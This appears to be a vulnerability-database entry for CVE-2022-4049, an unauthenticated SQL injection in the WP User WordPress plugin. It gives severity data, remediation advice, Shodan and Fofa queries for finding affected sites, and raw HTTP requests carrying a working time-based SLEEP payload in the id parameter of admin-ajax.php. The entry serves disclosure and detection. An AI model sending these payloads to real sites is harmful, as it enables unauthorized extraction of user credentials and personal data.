| Title | WP User <= 7.0 - Unauthenticated SQLi |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute time-based blind SQL injection through the id parameter in wpuser_group_action AJAX endpoint, potentially extracting sensitive database information including user credentials, personal data, and WordPress configuration. |
| Remediation | Update WP User plugin to a version later than 7.0 that properly sanitizes and parameterizes the id parameter in admin-ajax.php. |
| CVSS Score | 9.8 |
| EPSS Score | 0.80436 |
| CVE ID | CVE-2022-4049 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/wp-user/ |
| Fofa Query | body=/wp-content/plugins/wp-user/ |
| Tags | time-based-sqli cve cve2022 sqli wpscan wordpress wp-plugin wp wp-user unauth wp_user_project vuln |
The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
GET /index.php/user/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpuser_group_action&group_action=x&wpuser_update_setting=J7Vcs7&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)
GET /user HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpuser_group_action&group_action=x&wpuser_update_setting=J7Vcs7&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4049.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4049.pcap
N/AN/A